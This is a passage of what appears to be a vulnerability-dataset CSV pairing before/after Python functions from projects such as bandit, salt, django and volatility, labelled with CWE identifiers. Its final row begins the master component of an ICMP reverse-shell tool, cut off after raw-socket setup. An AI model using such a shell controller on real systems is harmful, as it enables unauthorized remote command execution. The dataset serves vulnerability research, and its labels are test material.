Total lines of code: {loc}
Total lines skipped (#nosec): {nosec}
""""""
issues = manager.get_issue_list(sev_level=sev_level, conf_level=conf_level)
baseline = not isinstance(issues, list)
# build the skipped string to insert in the report
skipped_str = ''.join('%s - %s\n' % (fname, reason)
for fname, reason in manager.skipped)
if skipped_str:
skipped_text = skipped_block.format(files_list=skipped_str)
else:
skipped_text = ''
# build the results string to insert in the report
results_str = ''
for index, issue in enumerate(issues):
if not baseline or len(issues[issue]) == 1:
candidates = ''
code = code_block.format(code=issue.get_code(lines, True).
strip('\n').lstrip(' '))
else:
candidates_str = ''
code = ''
for candidate in issues[issue]:
candidate_code = (candidate.get_code(lines, True).strip('\n').
lstrip(' '))
candidates_str += candidate_issue.format(code=candidate_code)
candidates = candidate_block.format(candidate_list=candidates_str)
results_str += issue_block.format(issue_no=index,
issue_class='issue-sev-{}'.
format(issue.severity.lower()),
test_name=issue.test,
test_id=issue.test_id,
test_text=issue.text,
severity=issue.severity,
confidence=issue.confidence,
path=issue.fname, code=code,
candidates=candidates)
# build the metrics string to insert in the report
metrics_summary = metrics_block.format(
loc=manager.metrics.data['_totals']['loc'],
nosec=manager.metrics.data['_totals']['nosec'])
# build the report and output it
report_contents = report_block.format(metrics=metrics_summary,
skipped=skipped_text,
results=results_str)
with utils.output_file(filename, 'w') as fout:
fout.write(str(header_block.encode('utf-8')))
fout.write(str(report_contents.encode('utf-8')))
if filename is not None:
logger.info(""HTML output written to file: %s"" % filename)",UNKNOWN,PyCQA/bandit,a047e0fec0fbd000740ce86c51792da88118eb03,"def report(manager, filename, sev_level, conf_level, lines=-1):
""""""Writes issues to 'filename' in HTML format
:param manager: the bandit manager object
:param filename: output file name
:param sev_level: Filtering severity level
:param conf_level: Filtering confidence level
:param lines: Number of lines to report, -1 for all
""""""
header_block = u""""""
Bandit Report
""""""
report_block = u""""""
{metrics}
{skipped}
{results}
""""""
issue_block = u""""""
Total lines of code: {loc}
Total lines skipped (#nosec): {nosec}
""""""
issues = manager.get_issue_list(sev_level=sev_level, conf_level=conf_level)
baseline = not isinstance(issues, list)
# build the skipped string to insert in the report
skipped_str = ''.join('%s - %s\n' % (fname, reason)
for fname, reason in manager.skipped)
if skipped_str:
skipped_text = skipped_block.format(files_list=skipped_str)
else:
skipped_text = ''
# build the results string to insert in the report
results_str = ''
for index, issue in enumerate(issues):
if not baseline or len(issues[issue]) == 1:
candidates = ''
code = code_block.format(code=issue.get_code(lines, True).
strip('\n').lstrip(' '))
else:
candidates_str = ''
code = ''
for candidate in issues[issue]:
candidate_code = (candidate.get_code(lines, True).strip('\n').
lstrip(' '))
candidates_str += candidate_issue.format(code=candidate_code)
candidates = candidate_block.format(candidate_list=candidates_str)
results_str += issue_block.format(issue_no=index,
issue_class='issue-sev-{}'.
format(issue.severity.lower()),
test_name=issue.test,
test_id=issue.test_id,
test_text=issue.text,
severity=issue.severity,
confidence=issue.confidence,
path=issue.fname, code=code,
candidates=candidates)
# build the metrics string to insert in the report
metrics_summary = metrics_block.format(
loc=manager.metrics.data['_totals']['loc'],
nosec=manager.metrics.data['_totals']['nosec'])
# build the report and output it
report_contents = report_block.format(metrics=metrics_summary,
skipped=skipped_text,
results=results_str)
with utils.output_file(filename, 'w') as fout:
fout.write(header_block)
fout.write(report_contents)
if filename is not None:
logger.info(""HTML output written to file: %s"" % filename)"
,UNKNOWN,UNKNOWN,tests/test_requests.py,1,"def test_headers_preserve_order(self, httpbin):
""""""Preserve order when headers provided as OrderedDict.""""""
ses = requests.Session()
ses.headers = OrderedDict()
ses.headers['Accept-Encoding'] = 'identity'
ses.headers['First'] = '1'
ses.headers['Second'] = '2'
headers = OrderedDict([('Third', '3'), ('Fourth', '4')])
headers['Fifth'] = '5'
headers['Second'] = '222'
req = requests.Request('GET', httpbin('get'), headers=headers)
prep = ses.prepare_request(req)
items = list(prep.headers.items())
assert items[0] == ('Accept-Encoding', 'identity')
assert items[1] == ('First', '1')
assert items[2] == ('Second', '222')
assert items[3] == ('Third', '3')
assert items[4] == ('Fourth', '4')
assert items[5] == ('Fifth', '5')",CWE-703,psf/requests,b1a7dcd79915ec7a58043031da432b5841d4d8ec,"def test_headers_preserve_order(self, httpbin):
""""""Preserve order when headers provided as OrderedDict.""""""
ses = requests.Session()
ses.headers = OrderedDict()
ses.headers['Accept-Encoding'] = 'identity'
ses.headers['First'] = '1'
ses.headers['Second'] = '2'
headers = OrderedDict([('Third', '3'), ('Fourth', '4')])
headers['Fifth'] = '5'
headers['Second'] = '222'
req = requests.Request('GET', httpbin('get'), headers = headers)
prep = ses.prepare_request(req)
items = prep.headers.items()
assert items[0] == ('Accept-Encoding', 'identity')
assert items[1] == ('First', '1')
assert items[2] == ('Second', '222')
assert items[3] == ('Third', '3')
assert items[4] == ('Fourth', '4')
assert items[5] == ('Fifth', '5')"
,UNKNOWN,UNKNOWN,test/units/template/test_tests_as_filters_warning.py,1,"def test_tests_as_filters_warning(mocker):
fake_loader = DictDataLoader({
""/path/to/my_file.txt"": ""foo\n"",
})
templar = Templar(loader=fake_loader, variables={})
filters = templar._get_filters(templar.environment.filters)
mocker.patch.object(display, 'deprecated')
# Call successful test, ensure the message is correct
filters['successful']({})
display.deprecated.assert_called_once_with(
'Using tests as filters is deprecated. Instead of using `result|successful` use `result is successful`', version='2.9'
)
# Call success test, ensure the message is correct
display.deprecated.reset_mock()
filters['success']({})
display.deprecated.assert_called_once_with(
'Using tests as filters is deprecated. Instead of using `result|success` use `result is success`', version='2.9'
)
# Call bool filter, ensure no deprecation message was displayed
display.deprecated.reset_mock()
filters['bool'](True)
assert display.deprecated.call_count == 0
# Ensure custom test does not override builtin filter
assert filters.get('abs') != isabs",CWE-703,ansible/ansible,a30befa609199c1733c86d57a9e95501cb2ebb08,"def test_tests_as_filters_warning(mocker):
fake_loader = DictDataLoader({
""/path/to/my_file.txt"": ""foo\n"",
})
templar = Templar(loader=fake_loader, variables={})
filters = templar._get_filters(templar.environment.filters)
mocker.patch.object(display, 'deprecated')
# Call successful test, ensure the message is correct
filters['successful']({})
display.deprecated.assert_called_once_with(
'Using tests as filters is deprecated. Instead of using `result|successful` instead use `result is successful`', version='2.9'
)
# Call success test, ensure the message is correct
display.deprecated.reset_mock()
filters['success']({})
display.deprecated.assert_called_once_with(
'Using tests as filters is deprecated. Instead of using `result|success` instead use `result is success`', version='2.9'
)
# Call bool filter, ensure no deprecation message was displayed
display.deprecated.reset_mock()
filters['bool'](True)
assert display.deprecated.call_count == 0
# Ensure custom test does not override builtin filter
assert filters.get('abs') != isabs"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/url/handlers/mangle.py,0,"def _http_resp_2_httplib(self, original_response, mangled_response):
""""""
Convert an HTTPResponse.HTTPResponse object to a httplib.httpresponse
subclass that I created in keepalive.
:param original_response: HTTPResponse.HTTPResponse object
:return: httplib.httpresponse subclass
""""""
ka_resp = MangledKeepAliveHTTPResponse()
ka_resp.set_body(mangled_response.get_body())
ka_resp.headers = mangled_response.get_headers()
ka_resp.code = mangled_response.get_code()
ka_resp._url = mangled_response.get_uri().url_string
ka_resp.msg = original_response.msg
ka_resp.id = original_response.id
ka_resp.set_wait_time(original_response.get_wait_time())
ka_resp.encoding = mangled_response.charset
return ka_resp",,andresriancho/w3af,1d13fc4baf5b50e47c747d32909075b09d0de52b,"def _http_resp_2_httplib(self, original_response, mangled_response):
""""""
Convert an HTTPResponse.HTTPResponse object to a httplib.httpresponse
subclass that I created in keepalive.
:param HTTPResponse: HTTPResponse.HTTPResponse object
:return: httplib.httpresponse subclass
""""""
ka_resp = MangledKeepAliveHTTPResponse()
ka_resp.set_body(mangled_response.get_body())
ka_resp.headers = mangled_response.get_headers()
ka_resp.code = mangled_response.get_code()
ka_resp._url = mangled_response.get_uri().url_string
ka_resp.msg = original_response.msg
ka_resp.id = original_response.id
ka_resp.set_wait_time(original_response.get_wait_time())
ka_resp.encoding = mangled_response.charset
return ka_resp"
,UNKNOWN,UNKNOWN,pkg/tests/support/helpers.py,1,"def _install_pkgs(self, upgrade=False):
pkg = self.pkgs[0]
if platform.is_windows():
if upgrade:
self.root = self.install_dir.parent
self.bin_dir = self.install_dir
self.ssm_bin = self.install_dir / ""ssm.exe""
if pkg.endswith(""exe""):
# Install the package
log.debug(""Installing: %s"", str(pkg))
ret = self.proc.run(str(pkg), ""/start-minion=0"", ""/S"")
self._check_retcode(ret)
elif pkg.endswith(""msi""):
# Install the package
log.debug(""Installing: %s"", str(pkg))
# Write a batch file to run the installer. It is impossible to
# perform escaping of the START_MINION property that the MSI
# expects unless we do it via a batch file
batch_file = pathlib.Path(pkg).parent / ""install_msi.cmd""
batch_content = f'msiexec /qn /i ""{str(pkg)}"" START_MINION=""""\n'
with open(batch_file, ""w"") as fp:
fp.write(batch_content)
# Now run the batch file
ret = self.proc.run(""cmd.exe"", ""/c"", str(batch_file))
self._check_retcode(ret)
else:
log.error(""Invalid package: %s"", pkg)
return False
# Remove the service installed by the installer
log.debug(""Removing installed salt-minion service"")
self.proc.run(str(self.ssm_bin), ""remove"", ""salt-minion"", ""confirm"")
self.update_process_path()
elif platform.is_darwin():
daemons_dir = pathlib.Path(os.sep, ""Library"", ""LaunchDaemons"")
service_name = ""com.saltstack.salt.minion""
plist_file = daemons_dir / f""{service_name}.plist""
log.debug(""Installing: %s"", str(pkg))
ret = self.proc.run(""installer"", ""-pkg"", str(pkg), ""-target"", ""/"")
self._check_retcode(ret)
# Stop the service installed by the installer
self.proc.run(""launchctl"", ""disable"", f""system/{service_name}"")
self.proc.run(""launchctl"", ""bootout"", ""system"", str(plist_file))
elif upgrade:
log.info(""Installing packages:\n%s"", pprint.pformat(self.pkgs))
ret = self.proc.run(self.pkg_mngr, ""upgrade"", ""-y"", *self.pkgs)
else:
log.info(""Installing packages:\n%s"", pprint.pformat(self.pkgs))
ret = self.proc.run(self.pkg_mngr, ""install"", ""-y"", *self.pkgs)
if not platform.is_darwin() and not platform.is_windows():
# Make sure we don't have any trailing references to old package file locations
assert ""No such file or directory"" not in ret.stdout
assert ""/saltstack/salt/run"" not in ret.stdout
log.info(ret)
self._check_retcode(ret)",CWE-703,saltstack/salt,1f145d37f29b02e629fcfd449d1c2b460d651030,"def _install_pkgs(self, upgrade=False):
pkg = self.pkgs[0]
if platform.is_windows():
if upgrade:
self.root = self.install_dir.parent
self.bin_dir = self.install_dir
self.ssm_bin = self.install_dir / ""ssm.exe""
if pkg.endswith(""exe""):
# Install the package
log.debug(""Installing: %s"", str(pkg))
ret = self.proc.run(str(pkg), ""/start-minion=0"", ""/S"")
self._check_retcode(ret)
elif pkg.endswith(""msi""):
# Install the package
log.debug(""Installing: %s"", str(pkg))
# Write a batch file to run the installer. It is impossible to
# perform escaping of the START_MINION property that the MSI
# expects unless we do it via a batch file
batch_file = pathlib.Path(pkg).parent / ""install_msi.cmd""
batch_content = f'msiexec /qn /i ""{str(pkg)}"" START_MINION=""""\n'
with open(batch_file, ""w"") as fp:
fp.write(batch_content)
# Now run the batch file
ret = self.proc.run(""cmd.exe"", ""/c"", str(batch_file))
self._check_retcode(ret)
else:
log.error(""Invalid package: %s"", pkg)
return False
# Remove the service installed by the installer
log.debug(""Removing installed salt-minion service"")
self.proc.run(str(self.ssm_bin), ""remove"", ""salt-minion"", ""confirm"")
self.update_process_path()
elif platform.is_darwin():
daemons_dir = pathlib.Path(os.sep, ""Library"", ""LaunchDaemons"")
service_name = ""com.saltstack.salt.minion""
plist_file = daemons_dir / f""{service_name}.plist""
log.debug(""Installing: %s"", str(pkg))
ret = self.proc.run(""installer"", ""-pkg"", str(pkg), ""-target"", ""/"")
self._check_retcode(ret)
# Stop the service installed by the installer
self.proc.run(""launchctl"", ""disable"", f""system/{service_name}"")
self.proc.run(""launchctl"", ""bootout"", ""system"", str(plist_file))
elif upgrade:
log.info(""Installing packages:\n%s"", pprint.pformat(self.pkgs))
ret = self.proc.run(self.pkg_mngr, ""upgrade"", ""-y"", *self.pkgs)
else:
log.info(""Installing packages:\n%s"", pprint.pformat(self.pkgs))
ret = self.proc.run(self.pkg_mngr, ""install"", ""-y"", *self.pkgs)
if not (platform.is_darwin() or platform.is_windows()):
# Make sure we don't have any trailing references to old package file locations
assert ""No such file or directory"" not in ret.stdout
assert ""/saltstack/salt/run"" not in ret.stdout
log.info(ret)
self._check_retcode(ret)"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/vadinfo.py,0,"def write_vad_control(self, outfd, vad):
""""""Renders a text version of a (non-short) Vad's control information""""""
# even if the ControlArea is not NULL, it is only meaningful
# for shared (non private) memory sections.
if vad.u.VadFlags.PrivateMemory == 1:
return
control_area = vad.ControlArea
if not control_area:
return
outfd.write(""ControlArea @{0:08x} Segment {1:08x}\n"".format(control_area.dereference().obj_offset, control_area.Segment))
outfd.write(""Dereference list: Flink {0:08x}, Blink {1:08x}\n"".format(control_area.DereferenceList.Flink, control_area.DereferenceList.Blink))
outfd.write(""NumberOfSectionReferences: {0:10} NumberOfPfnReferences: {1:10}\n"".format(control_area.NumberOfSectionReferences, control_area.NumberOfPfnReferences))
outfd.write(""NumberOfMappedViews: {0:10} NumberOfUserReferences: {1:10}\n"".format(control_area.NumberOfMappedViews, control_area.NumberOfUserReferences))
outfd.write(""WaitingForDeletion Event: {0:08x}\n"".format(control_area.WaitingForDeletion))
outfd.write(""Control Flags: {0}\n"".format(str(control_area.u.Flags)))
file_object = vad.FileObject
if file_object:
outfd.write(""FileObject @{0:08x}, Name: {1}\n"".format(file_object.obj_offset, str(file_object.FileName or '')))",,volatilityfoundation/volatility,d6050871e91dfdbad855817f0121c7c63298385a,"def write_vad_control(self, outfd, vad):
""""""Renders a text version of a (non-short) Vad's control information""""""
# even if the ControlArea is not NULL, it is only meaningful
# for shared (non private) memory sections.
if vad.u.VadFlags.PrivateMemory == 1:
return
control_area = vad.ControlArea
if not control_area:
return
outfd.write(""ControlArea @{0:08x} Segment {1:08x}\n"".format(control_area.dereference().obj_offset, control_area.Segment))
outfd.write(""Dereference list: Flink {0:08x}, Blink {1:08x}\n"".format(control_area.DereferenceList.Flink, control_area.DereferenceList.Blink))
outfd.write(""NumberOfSectionReferences: {0:10} NumberOfPfnReferences: {1:10}\n"".format(control_area.NumberOfSectionReferences, control_area.NumberOfPfnReferences))
outfd.write(""NumberOfMappedViews: {0:10} NumberOfUserReferences: {1:10}\n"".format(control_area.NumberOfMappedViews, control_area.NumberOfUserReferences))
outfd.write(""WaitingForDeletion Event: {0:08x}\n"".format(control_area.WaitingForDeletion))
outfd.write(""Control Flags: {0}\n"".format(str(control_area.u.Flags)))
file_object = vad.FileObject
if file_object:
outfd.write(""FileObject @{0:08x}, Name: {1}\n"".format(file_object.obj_offset, file_object.FileName))"
,UNKNOWN,UNKNOWN,tests/tensorflow/test_tensorflow2_autolog.py,1,"def test_tf_keras_autolog_implicit_batch_size_for_generator_dataset_without_side_effects(
generator,
batch_size,
):
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Dense
data = np.array([[1, 2, 3], [3, 2, 1], [2, 2, 2], [10, 20, 30], [30, 20, 10], [20, 20, 20]])
target = np.array([[1], [3], [2], [11], [13], [12]])
model = Sequential()
model.add(
Dense(
5, input_dim=3, activation=""relu"", kernel_initializer=""zeros"", bias_initializer=""zeros""
)
)
model.add(Dense(1, kernel_initializer=""zeros"", bias_initializer=""zeros""))
model.compile(loss=""mae"", optimizer=""adam"", metrics=[""mse""])
mlflow.autolog()
actual_mse = model.fit(generator(data, target, batch_size), verbose=0).history[""mse""][-1]
mlflow.autolog(disable=True)
expected_mse = model.fit(generator(data, target, batch_size), verbose=0).history[""mse""][-1]
np.testing.assert_allclose(actual_mse, expected_mse, atol=1)
assert mlflow.last_active_run().data.params[""batch_size""] == str(batch_size)",CWE-703,mlflow/mlflow,c7cdef4d54abd31a45f10d3388113e9e2db08bbf,"def test_tf_keras_autolog_implicit_batch_size_for_generator_dataset_without_side_effects(
generator,
batch_size,
):
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Dense
data = np.array([[1, 2, 3], [3, 2, 1], [2, 2, 2], [10, 20, 30], [30, 20, 10], [20, 20, 20]])
target = np.array([[1], [3], [2], [11], [13], [12]])
model = Sequential()
model.add(
Dense(
5, input_dim=3, activation=""relu"", kernel_initializer=""zeros"", bias_initializer=""zeros""
)
)
model.add(Dense(1, kernel_initializer=""zeros"", bias_initializer=""zeros""))
model.compile(loss=""mae"", optimizer=""adam"", metrics=[""mse""])
mlflow.autolog()
actual_mse = model.fit(generator(data, target, batch_size), verbose=0).history[""mse""][-1]
mlflow.autolog(disable=True)
expected_mse = model.fit(generator(data, target, batch_size), verbose=0).history[""mse""][-1]
np.testing.assert_allclose(actual_mse, expected_mse, atol=1)
assert mlflow.last_active_run().data.params[""batch_size""] == str(batch_size)"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/win32/hashdump.py,0,"def find_control_set(sysaddr):
root = rawreg.get_root(sysaddr)
if not root:
return 1
csselect = rawreg.open_key(root, [""Select""])
if not csselect:
return 1
for v in rawreg.values(csselect):
if v.Name == ""Current"":
return v.Data
return 1",,volatilityfoundation/volatility,19d12116fe2f1f3d98873799c8fe80ddbf046f32,"def find_control_set(sysaddr):
root = rawreg.get_root(sysaddr)
if not root:
return 1
csselect = rawreg.open_key(root, [""Select""])
if not csselect:
return 1
for v in rawreg.values(csselect):
if v.Name == ""Current"":
return v.Data"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/cli.py,0,"def load_dotenv(path=None):
""""""Load ""dotenv"" files in order of precedence to set environment variables.
If an env var is already set it is not overwritten, so earlier files in the
list are preferred over later files.
Changes the current working directory to the location of the first file
found, with the assumption that it is in the top level project directory
and will be where the Python path should import local packages from.
This is a no-op if `python-dotenv`_ is not installed.
.. _python-dotenv: https://github.com/theskumar/python-dotenv#readme
:param path: Load the file at this location instead of searching.
:return: ``True`` if a file was loaded.
.. versionadded:: 1.0
""""""
if dotenv is None:
if path or os.path.isfile('.env') or os.path.isfile('.flaskenv'):
click.secho(
' * Tip: There are .env files present.'
' Do ""pip install python-dotenv"" to use them.',
fg='yellow')
return
if path is not None:
return dotenv.load_dotenv(path)
new_dir = None
for name in ('.env', '.flaskenv'):
path = dotenv.find_dotenv(name, usecwd=True)
if not path:
continue
if new_dir is None:
new_dir = os.path.dirname(path)
dotenv.load_dotenv(path)
if new_dir and os.getcwd() != new_dir:
os.chdir(new_dir)
return new_dir is not None",,pallets/flask,b2ec6a33a235dbd9f57bd6265ec54cfb675243f7,"def load_dotenv(path=None):
""""""Load ""dotenv"" files in order of precedence to set environment variables.
If an env var is already set it is not overwritten, so earlier files in the
list are preferred over later files.
Changes the current working directory to the location of the first file
found, with the assumption that it is in the top level project directory
and will be where the Python path should import local packages from.
This is a no-op if `python-dotenv`_ is not installed.
.. _python-dotenv: https://github.com/theskumar/python-dotenv#readme
:param path: Load the file at this location instead of searching.
:return: ``True`` if a file was loaded.
.. versionadded:: 1.0
""""""
if dotenv is None:
if path or os.path.exists('.env') or os.path.exists('.flaskenv'):
click.secho(
' * Tip: There are .env files present.'
' Do ""pip install python-dotenv"" to use them.',
fg='yellow')
return
if path is not None:
return dotenv.load_dotenv(path)
new_dir = None
for name in ('.env', '.flaskenv'):
path = dotenv.find_dotenv(name, usecwd=True)
if not path:
continue
if new_dir is None:
new_dir = os.path.dirname(path)
dotenv.load_dotenv(path)
if new_dir and os.getcwd() != new_dir:
os.chdir(new_dir)
return new_dir is not None"
,UNKNOWN,UNKNOWN,tests/unit/utils/test_thin.py,1,"def test_pack_alternatives_exclude(self):
""""""
test pack_alternatives when mixing
manually set dependencies and auto
detecting other modules.
""""""
patch_proc = patch(
""salt.utils.thin.subprocess.Popen"",
self._popen(
None,
side_effect=[
(bts(self.fake_libs[""distro""]), bts("""")),
(bts(self.fake_libs[""yaml""]), bts("""")),
(bts(self.fake_libs[""tornado""]), bts("""")),
(bts(self.fake_libs[""msgpack""]), bts("""")),
(bts(self.fake_libs[""networkx""]), bts("""")),
(bts(""""), bts("""")),
(bts(""""), bts("""")),
(bts(""""), bts("""")),
(bts(""""), bts("""")),
(bts(""""), bts("""")),
(bts(""""), bts("""")),
(bts(""""), bts("""")),
(bts(""""), bts("""")),
(bts(""""), bts("""")),
(bts(""""), bts("""")),
(bts(""""), bts("""")),
(bts(""""), bts("""")),
],
),
)
patch_os = patch(""os.path.exists"", return_value=True)
ext_conf = copy.deepcopy(self.ext_conf)
ext_conf[""test""][""auto_detect""] = True
for lib in self.fake_libs.values():
os.makedirs(lib)
with salt.utils.files.fopen(os.path.join(lib, ""__init__.py""), ""w+"") as fp_:
fp_.write(""test"")
exp_files = self.exp_files.copy()
exp_files.extend(
[
os.path.join(""yaml"", ""__init__.py""),
os.path.join(""tornado"", ""__init__.py""),
os.path.join(""msgpack"", ""__init__.py""),
os.path.join(""networkx"", ""__init__.py""),
]
)
patch_which = patch(""salt.utils.path.which"", return_value=True)
with patch_os, patch_proc, patch_which:
thin._pack_alternative(ext_conf, self.digest, self.tar)
calls = self.tar.mock_calls
for _file in exp_files:
assert [x for x in calls if f""{_file}"" in x[-2]]",CWE-703,saltstack/salt,3701105a59a76d1b7dcdb46dd6e720bb85e59c42,"def test_pack_alternatives_exclude(self):
""""""
test pack_alternatives when mixing
manually set dependencies and auto
detecting other modules.
""""""
patch_proc = patch(
""salt.utils.thin.subprocess.Popen"",
self._popen(
None,
side_effect=[
(bts(self.fake_libs[""distro""]), bts("""")),
(bts(self.fake_libs[""yaml""]), bts("""")),
(bts(self.fake_libs[""tornado""]), bts("""")),
(bts(self.fake_libs[""msgpack""]), bts("""")),
(bts(self.fake_libs[""networkx""]), bts("""")),
(bts(""""), bts("""")),
(bts(""""), bts("""")),
(bts(""""), bts("""")),
(bts(""""), bts("""")),
(bts(""""), bts("""")),
(bts(""""), bts("""")),
(bts(""""), bts("""")),
(bts(""looseversion.py""), bts("""")),
(bts(""packaging/__init__.py""), bts("""")),
],
),
)
patch_os = patch(""os.path.exists"", return_value=True)
ext_conf = copy.deepcopy(self.ext_conf)
ext_conf[""test""][""auto_detect""] = True
for lib in self.fake_libs.values():
os.makedirs(lib)
with salt.utils.files.fopen(os.path.join(lib, ""__init__.py""), ""w+"") as fp_:
fp_.write(""test"")
exp_files = self.exp_files.copy()
exp_files.extend(
[
os.path.join(""yaml"", ""__init__.py""),
os.path.join(""tornado"", ""__init__.py""),
os.path.join(""msgpack"", ""__init__.py""),
os.path.join(""networkx"", ""__init__.py""),
]
)
patch_which = patch(""salt.utils.path.which"", return_value=True)
with patch_os, patch_proc, patch_which:
thin._pack_alternative(ext_conf, self.digest, self.tar)
calls = self.tar.mock_calls
for _file in exp_files:
assert [x for x in calls if f""{_file}"" in x[-2]]"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/invalid_models_tests/test_relative_fields.py,0,"def test_clash_between_accessors(self):
class Target(models.Model):
pass
class Model(models.Model):
foreign = models.ForeignKey(Target)
m2m = models.ManyToManyField(Target)
errors = Model.check()
expected = [
Error(
'Clash between accessors for Model.foreign and Model.m2m.',
hint=('Add or change a related_name argument to the definition '
'for Model.foreign or Model.m2m.'),
obj=Model._meta.get_field('foreign'),
id='E016',
),
Error(
'Clash between accessors for Model.m2m and Model.foreign.',
hint=('Add or change a related_name argument to the definition '
'for Model.m2m or Model.foreign.'),
obj=Model._meta.get_field('m2m'),
id='E016',
),
]
self.assertEqual(errors, expected)",CWE-Unknown,django/django,d0133504e57589dc8983a20bf488e069bddd772c,"def test_clash_between_accessors(self):
class Target(models.Model):
pass
class Model(models.Model):
foreign = models.ForeignKey(Target)
m2m = models.ManyToManyField(Target)
errors = Model.check()
expected = [
Error(
'Clash between accessors for Model.foreign and Model.m2m.',
hint=('Add or change a related_name argument to the definition '
'for Model.foreign or Model.m2m.'),
obj=Model._meta.get_field('foreign'),
id='E016',
),
Error(
'Clash between accessors for Model.m2m and Model.foreign.',
hint=('Add or change a related_name argument to the definition '
'for Model.m2m or Model.foreign.'),
obj=Model._meta.get_field('m2m'),
id='E016',
),
]
self.assertEqual(errors, expected)"
,UNKNOWN,UNKNOWN,tests/admin_views/admin.py,1,"def get_search_results(self, request, queryset, search_term):
queryset, use_distinct = super(PluggableSearchPersonAdmin, self).get_search_results(
request, queryset, search_term
)
try:
search_term_as_int = int(search_term)
except ValueError:
pass
else:
queryset |= self.model.objects.filter(age=search_term_as_int)
return queryset, use_distinct",CWE-703,django/django,0a2d3b7387b815b4e5d5f3c026f8409fd2a7ff70,"def get_search_results(self, request, queryset, search_term):
queryset, use_distinct = super(PluggableSearchPersonAdmin, self).get_search_results(
request, queryset, search_term
)
try:
search_term_as_int = int(search_term)
queryset |= self.model.objects.filter(age=search_term_as_int)
except:
pass
return queryset, use_distinct"
,UNKNOWN,UNKNOWN,tests/integration/shell/cp.py,1,"def test_cp_testfile(self):
'''
test salt-cp
'''
minions = []
for line in self.run_salt('--out yaml ""*"" test.ping'):
if not line:
continue
data = yaml.load(line)
minions.extend(data.keys())
self.assertNotEqual(minions, [])
testfile = os.path.abspath(
os.path.join(
os.path.dirname(os.path.dirname(__file__)),
'files', 'file', 'base', 'testfile'
)
)
with salt.utils.fopen(testfile, 'r') as fh_:
testfile_contents = fh_.read()
for idx, minion in enumerate(minions):
ret = self.run_salt(
'--out yaml {0} file.directory_exists {1}'.format(
pipes.quote(minion), integration.TMP
)
)
data = yaml.load('\n'.join(ret))
if data[minion] is False:
ret = self.run_salt(
'--out yaml {0} file.makedirs {1}'.format(
pipes.quote(minion),
integration.TMP
)
)
data = yaml.load('\n'.join(ret))
self.assertTrue(data[minion])
minion_testfile = os.path.join(
integration.TMP, 'cp_{0}_testfile'.format(idx)
)
ret = self.run_cp('--out pprint {0} {1} {2}'.format(
pipes.quote(minion),
pipes.quote(testfile),
pipes.quote(minion_testfile)
))
data = yaml.load('\n'.join(ret))
for part in six.itervalues(data):
self.assertTrue(part[minion_testfile])
ret = self.run_salt(
'--out yaml {0} file.file_exists {1}'.format(
pipes.quote(minion),
pipes.quote(minion_testfile)
)
)
data = yaml.load('\n'.join(ret))
self.assertTrue(data[minion])
ret = self.run_salt(
'--out yaml {0} file.contains {1} {2}'.format(
pipes.quote(minion),
pipes.quote(minion_testfile),
pipes.quote(testfile_contents)
)
)
data = yaml.load('\n'.join(ret))
self.assertTrue(data[minion])
ret = self.run_salt(
'--out yaml {0} file.remove {1}'.format(
pipes.quote(minion),
pipes.quote(minion_testfile)
)
)
data = yaml.load('\n'.join(ret))
self.assertTrue(data[minion])",CWE-20,saltstack/salt,35b2076584ffeec8730f0f5af59bdec0dd29d257,"def test_cp_testfile(self):
'''
test salt-cp
'''
minions = []
for line in self.run_salt('--out yaml ""*"" test.ping'):
if not line:
continue
data = yaml.load(line)
minions.extend(data.keys()) # pylint: disable=incompatible-py3-code
# since we're extending a list, the Py3 dict_keys view will behave
# as expected.
self.assertNotEqual(minions, [])
testfile = os.path.abspath(
os.path.join(
os.path.dirname(os.path.dirname(__file__)),
'files', 'file', 'base', 'testfile'
)
)
with salt.utils.fopen(testfile, 'r') as fh_:
testfile_contents = fh_.read()
for idx, minion in enumerate(minions):
ret = self.run_salt(
'--out yaml {0} file.directory_exists {1}'.format(
pipes.quote(minion), integration.TMP
)
)
data = yaml.load('\n'.join(ret))
if data[minion] is False:
ret = self.run_salt(
'--out yaml {0} file.makedirs {1}'.format(
pipes.quote(minion),
integration.TMP
)
)
data = yaml.load('\n'.join(ret))
self.assertTrue(data[minion])
minion_testfile = os.path.join(
integration.TMP, 'cp_{0}_testfile'.format(idx)
)
ret = self.run_cp('--out pprint {0} {1} {2}'.format(
pipes.quote(minion),
pipes.quote(testfile),
pipes.quote(minion_testfile)
))
data = yaml.load('\n'.join(ret))
for part in six.itervalues(data):
self.assertTrue(part[minion_testfile])
ret = self.run_salt(
'--out yaml {0} file.file_exists {1}'.format(
pipes.quote(minion),
pipes.quote(minion_testfile)
)
)
data = yaml.load('\n'.join(ret))
self.assertTrue(data[minion])
ret = self.run_salt(
'--out yaml {0} file.contains {1} {2}'.format(
pipes.quote(minion),
pipes.quote(minion_testfile),
pipes.quote(testfile_contents)
)
)
data = yaml.load('\n'.join(ret))
self.assertTrue(data[minion])
ret = self.run_salt(
'--out yaml {0} file.remove {1}'.format(
pipes.quote(minion),
pipes.quote(minion_testfile)
)
)
data = yaml.load('\n'.join(ret))
self.assertTrue(data[minion])"
,UNKNOWN,UNKNOWN,extra/icmpsh/icmpsh_m.py,1,"def main(src, dst):
if sys.platform == ""nt"":
sys.stderr.write('icmpsh master can only run on Posix systems\n')
sys.exit(255)
try:
from impacket import ImpactDecoder
from impacket import ImpactPacket
except ImportError:
sys.stderr.write('You need to install Python Impacket library first\n')
sys.exit(255)
# Make standard input a non-blocking file
stdin_fd = sys.stdin.fileno()
setNonBlocking(stdin_fd)
# Open one socket for ICMP protocol
# A special option is set on the socket so that IP headers are included
# with the returned data
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
except socket.error:
sys.stderr.write('You need to run icmpsh master with administrator privileges\n')
sys.exit(1)
sock.setblocking(0)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# Create a new IP packet and set its source and destination addresses
ip = ImpactPacket.IP()
ip.set_ip_src(src)
ip.set_ip_dst(dst)
# Create a new ICMP packet of type ECHO REPLY
icmp = ImpactPacket.ICMP()
icmp.set_icmp_type(icmp.ICMP_ECHOREPLY)
# Instantiate an IP packets decoder
decoder = ImpactDecoder.IPDecoder()
while True:
try:
cmd = ''
